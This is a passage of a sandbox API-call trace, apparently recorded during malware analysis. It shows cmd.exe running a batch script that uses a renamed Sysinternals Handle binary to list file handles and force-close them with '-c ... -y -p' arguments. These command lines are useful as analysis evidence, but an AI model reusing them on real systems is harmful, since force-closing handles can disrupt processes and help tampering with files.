(_FileHandle=1) returned 0x7 [0123.434] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x26f2e8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2e8*=0x7) returned 1 [0123.435] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x26f2f8 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner`) DO ") returned 60 [0123.435] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.435] GetFileType (hFile=0x7) returned 0x2 [0123.436] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.436] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2b8 | out: lpMode=0x26f2b8) returned 1 [0123.436] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.436] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3c, lpNumberOfCharsWritten=0x26f2e4, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2e4*=0x3c) returned 1 [0123.436] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.436] GetFileType (hFile=0x7) returned 0x2 [0123.437] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.437] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2c4 | out: lpMode=0x26f2c4) returned 1 [0123.437] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.437] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x26f2f0, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x26f2f0*=0x1) returned 1 [0123.437] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.437] GetFileType (hFile=0x7) returned 0x2 [0123.437] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.437] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2a8 | out: lpMode=0x26f2a8) returned 1 [0123.438] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.438] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x67f4e8*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x26f2d4, lpReserved=0x0 | out: lpBuffer=0x67f4e8*, lpNumberOfCharsWritten=0x26f2d4*=0xc) returned 1 [0123.438] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f2e0 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0123.438] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.438] GetFileType (hFile=0x7) returned 0x2 [0123.438] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.438] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2a0 | out: lpMode=0x26f2a0) returned 1 [0123.439] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.439] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f2cc, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2cc*=0x26) returned 1 [0123.440] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f2fc | out: _Buffer=") ") returned 2 [0123.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.440] GetFileType (hFile=0x7) returned 0x2 [0123.440] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.440] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2bc | out: lpMode=0x26f2bc) returned 1 [0123.441] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.441] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f2e8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2e8*=0x2) returned 1 [0123.441] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f31c | out: _Buffer="\r\n") returned 2 [0123.441] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.441] GetFileType (hFile=0x7) returned 0x2 [0123.441] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.441] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2dc | out: lpMode=0x26f2dc) returned 1 [0123.441] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.442] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f308, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f308*=0x2) returned 1 [0123.443] GetProcessHeap () returned 0x670000 [0123.443] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2c) returned 0x6855e8 [0123.443] GetProcessHeap () returned 0x670000 [0123.443] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xc) returned 0x670db8 [0123.443] GetProcessHeap () returned 0x670000 [0123.443] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xc) returned 0x670dd0 [0123.443] GetProcessHeap () returned 0x670000 [0123.443] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe) returned 0x670de8 [0123.443] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0123.443] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0123.443] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0123.443] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0123.443] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0123.443] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0123.443] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0123.443] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x26f238, _Radix=0 | out: _EndPtr=0x26f238*=",6 delims=: \"") returned 3 [0123.444] wcstol (in: _String="6 delims=: \"", _EndPtr=0x26f238, _Radix=0 | out: _EndPtr=0x26f238*=" delims=: \"") returned 6 [0123.444] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0123.444] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0123.444] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0123.444] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0123.444] GetProcessHeap () returned 0x670000 [0123.444] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670de8 | out: hHeap=0x670000) returned 1 [0123.444] GetProcessHeap () returned 0x670000 [0123.444] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe) returned 0x670de8 [0123.444] GetProcessHeap () returned 0x670000 [0123.444] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x670db8, Size=0xe) returned 0x670e00 [0123.444] GetProcessHeap () returned 0x670000 [0123.444] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x670e00) returned 0xe [0123.444] GetProcessHeap () returned 0x670000 [0123.444] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x670dd0, Size=0x14) returned 0x6863c8 [0123.444] GetProcessHeap () returned 0x670000 [0123.444] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x6863c8) returned 0x14 [0123.444] _wpopen (_Command="bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner", _Mode="rb") returned 0x76be2960 [0123.461] feof (_File=0x76be2960) returned 0 [0123.461] ferror (_File=0x76be2960) returned 0 [0123.461] GetProcessHeap () returned 0x670000 [0123.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x108) returned 0x6863e8 [0123.461] fgets (in: _Buf=0x6863f0, _MaxCount=256, _File=0x76be2960 | out: _Buf="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n", _File=0x76be2960) returned="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n" [0125.271] feof (_File=0x76be2960) returned 0 [0125.283] ferror (_File=0x76be2960) returned 0 [0125.283] GetProcessHeap () returned 0x670000 [0125.283] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6863e8, Size=0x208) returned 0x6863e8 [0125.284] GetProcessHeap () returned 0x670000 [0125.284] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x6863e8) returned 0x208 [0125.286] fgets (in: _Buf=0x686436, _MaxCount=442, _File=0x76be2960 | out: _Buf="\r\r\n", _File=0x76be2960) returned="\r\r\n" [0125.286] feof (_File=0x76be2960) returned 0 [0125.286] ferror (_File=0x76be2960) returned 0 [0125.286] GetProcessHeap () returned 0x670000 [0125.286] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6863e8, Size=0x308) returned 0x6863e8 [0125.286] GetProcessHeap () returned 0x670000 [0125.286] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x6863e8) returned 0x308 [0125.286] fgets (in: _Buf=0x686439, _MaxCount=695, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0125.413] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 1 [0125.415] GetProcessHeap () returned 0x670000 [0125.415] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6863e8, Size=0x9e) returned 0x6863e8 [0125.415] GetProcessHeap () returned 0x670000 [0125.415] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x6863e8) returned 0x9e [0125.415] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x686439, cbMultiByte=73, lpWideCharStr=0x6863f0, cchWideChar=73 | out: lpWideCharStr="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n\r\r\n") returned 73 [0125.415] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26ef2c | out: _Buffer="\r\n") returned 2 [0125.416] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.416] GetFileType (hFile=0x7) returned 0x2 [0125.416] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.416] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26eeec | out: lpMode=0x26eeec) returned 1 [0125.417] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.417] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26ef18, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26ef18*=0x2) returned 1 [0125.419] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0125.420] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26ef28 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0125.420] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26ef28 | out: _Buffer=">") returned 1 [0125.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.420] GetFileType (hFile=0x7) returned 0x2 [0125.420] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.420] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26eef0 | out: lpMode=0x26eef0) returned 1 [0125.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.420] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26ef1c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26ef1c*=0x26) returned 1 [0125.421] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.421] GetFileType (hFile=0x7) returned 0x2 [0125.421] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.421] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f174 | out: lpMode=0x26f174) returned 1 [0125.421] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.421] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x26f1a0, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x26f1a0*=0x1) returned 1 [0125.422] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.422] GetFileType (hFile=0x7) returned 0x2 [0125.422] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.422] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f158 | out: lpMode=0x26f158) returned 1 [0125.422] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.422] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x694ab8*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x26f184, lpReserved=0x0 | out: lpBuffer=0x694ab8*, lpNumberOfCharsWritten=0x26f184*=0xc) returned 1 [0125.423] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f190 | out: _Buffer=" -accepteula -c Run -y -p extract -nobanner ") returned 44 [0125.423] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.423] GetFileType (hFile=0x7) returned 0x2 [0125.423] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.423] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f150 | out: lpMode=0x26f150) returned 1 [0125.423] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.423] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x26f17c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f17c*=0x2c) returned 1 [0125.425] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f1ac | out: _Buffer=") ") returned 2 [0125.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.425] GetFileType (hFile=0x7) returned 0x2 [0125.425] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.425] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f16c | out: lpMode=0x26f16c) returned 1 [0125.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.425] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f198, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f198*=0x2) returned 1 [0125.426] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f1cc | out: _Buffer="\r\n") returned 2 [0125.426] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.426] GetFileType (hFile=0x7) returned 0x2 [0125.426] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.426] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f18c | out: lpMode=0x26f18c) returned 1 [0125.426] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.426] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f1b8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f1b8*=0x2) returned 1 [0125.427] GetConsoleTitleW (in: lpConsoleTitle=0x26ecdc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0125.428] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x686738, lpFilePart=0x26e7fc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26e7fc*="Desktop") returned 0x25 [0125.428] SetErrorMode (uMode=0x0) returned 0x1 [0125.428] GetProcessHeap () returned 0x670000 [0125.428] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686730, Size=0x6e) returned 0x686730 [0125.428] GetProcessHeap () returned 0x670000 [0125.428] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x686730) returned 0x6e [0125.429] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0125.429] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0125.429] GetProcessHeap () returned 0x670000 [0125.429] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x120) returned 0x6867a8 [0125.429] GetProcessHeap () returned 0x670000 [0125.429] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x238) returned 0x6868d0 [0125.429] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.429] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x26e598, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26e598) returned 0x686a80 [0125.430] FindClose (in: hFindFile=0x686a80 | out: hFindFile=0x686a80) returned 1 [0125.430] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0125.430] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0125.430] GetConsoleTitleW (in: lpConsoleTitle=0x26ea70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0125.430] InitializeProcThreadAttributeList (in: lpAttributeList=0x26e8f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26e9c0 | out: lpAttributeList=0x26e8f8, lpSize=0x26e9c0) returned 1 [0125.430] UpdateProcThreadAttribute (in: lpAttributeList=0x26e8f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x26e9b8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26e8f8, lpPreviousValue=0x0) returned 1 [0125.430] GetStartupInfoW (in: lpStartupInfo=0x26e8b4 | out: lpStartupInfo=0x26e8b4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0125.430] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0125.430] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x26e954*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26e9a0 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessInformation=0x26e9a0*(hProcess=0x74, hThread=0x84, dwProcessId=0xff4, dwThreadId=0xff8)) returned 1 [0125.441] CloseHandle (hObject=0x84) returned 1 [0125.441] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0125.442] GetProcessHeap () returned 0x670000 [0125.442] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x689658 | out: hHeap=0x670000) returned 1 [0125.442] GetEnvironmentStringsW () returned 0x688ac8* [0125.442] GetProcessHeap () returned 0x670000 [0125.442] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb86) returned 0x689658 [0125.442] FreeEnvironmentStringsW (penv=0x688ac8) returned 1 [0125.442] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0127.258] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x26e894 | out: lpExitCode=0x26e894*=0x0) returned 1 [0127.258] CloseHandle (hObject=0x74) returned 1 [0127.258] _vsnwprintf (in: _Buffer=0x26e9dc, _BufferCount=0x13, _Format="%08X", _ArgList=0x26e8a0 | out: _Buffer="00000000") returned 8 [0127.259] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0127.259] GetProcessHeap () returned 0x670000 [0127.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x689658 | out: hHeap=0x670000) returned 1 [0127.259] GetEnvironmentStringsW () returned 0x688ac8* [0127.259] GetProcessHeap () returned 0x670000 [0127.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb86) returned 0x689658 [0127.259] FreeEnvironmentStringsW (penv=0x688ac8) returned 1 [0127.259] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0127.259] GetProcessHeap () returned 0x670000 [0127.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x689658 | out: hHeap=0x670000) returned 1 [0127.259] GetEnvironmentStringsW () returned 0x688ac8* [0127.259] GetProcessHeap () returned 0x670000 [0127.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb86) returned 0x689658 [0127.259] FreeEnvironmentStringsW (penv=0x688ac8) returned 1 [0127.259] GetProcessHeap () returned 0x670000 [0127.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670dd0 | out: hHeap=0x670000) returned 1 [0127.259] DeleteProcThreadAttributeList (in: lpAttributeList=0x26e8f8 | out: lpAttributeList=0x26e8f8) [0127.260] _get_osfhandle (_FileHandle=1) returned 0x7 [0127.260] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0127.260] _get_osfhandle (_FileHandle=1) returned 0x7 [0127.260] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0127.260] _get_osfhandle (_FileHandle=0) returned 0x3 [0127.260] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0127.261] SetConsoleInputExeNameW () returned 0x1 [0127.261] GetConsoleOutputCP () returned 0x1b5 [0127.261] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0127.261] SetThreadUILanguage (LangId=0x0) returned 0x409 [0127.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f2c4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0127.262] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0127.262] _get_osfhandle (_FileHandle=3) returned 0x74 [0127.262] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0127.262] GetProcessHeap () returned 0x670000 [0127.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686a00 | out: hHeap=0x670000) returned 1 [0127.262] GetProcessHeap () returned 0x670000 [0127.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6868d0 | out: hHeap=0x670000) returned 1 [0127.262] GetProcessHeap () returned 0x670000 [0127.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6867a8 | out: hHeap=0x670000) returned 1 [0127.262] GetProcessHeap () returned 0x670000 [0127.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686730 | out: hHeap=0x670000) returned 1 [0127.262] GetProcessHeap () returned 0x670000 [0127.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6866a8 | out: hHeap=0x670000) returned 1 [0127.262] GetProcessHeap () returned 0x670000 [0127.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686490 | out: hHeap=0x670000) returned 1 [0127.262] GetProcessHeap () returned 0x670000 [0127.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x694af8 | out: hHeap=0x670000) returned 1 [0127.262] GetProcessHeap () returned 0x670000 [0127.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x694ab0 | out: hHeap=0x670000) returned 1 [0127.262] GetProcessHeap () returned 0x670000 [0127.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670de8 | out: hHeap=0x670000) returned 1 [0127.262] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6863c8 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670e00 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6855e8 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686368 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67f4e0 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686308 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6862a8 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686228 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6861d0 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6712a0 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686180 | out: hHeap=0x670000) returned 1 [0127.263] GetProcessHeap () returned 0x670000 [0127.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671240 | out: hHeap=0x670000) returned 1 [0127.263] _get_osfhandle (_FileHandle=3) returned 0x74 [0127.263] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0127.263] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f2a8, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f2a8*=0x0, lpOverlapped=0x0) returned 1 [0127.263] GetLastError () returned 0x0 [0127.263] _get_osfhandle (_FileHandle=3) returned 0x74 [0127.263] GetFileType (hFile=0x74) returned 0x1 [0127.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0127.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0127.264] GetProcessHeap () returned 0x670000 [0127.264] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400a) returned 0x694ab0 [0127.264] GetProcessHeap () returned 0x670000 [0127.264] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x694ab0 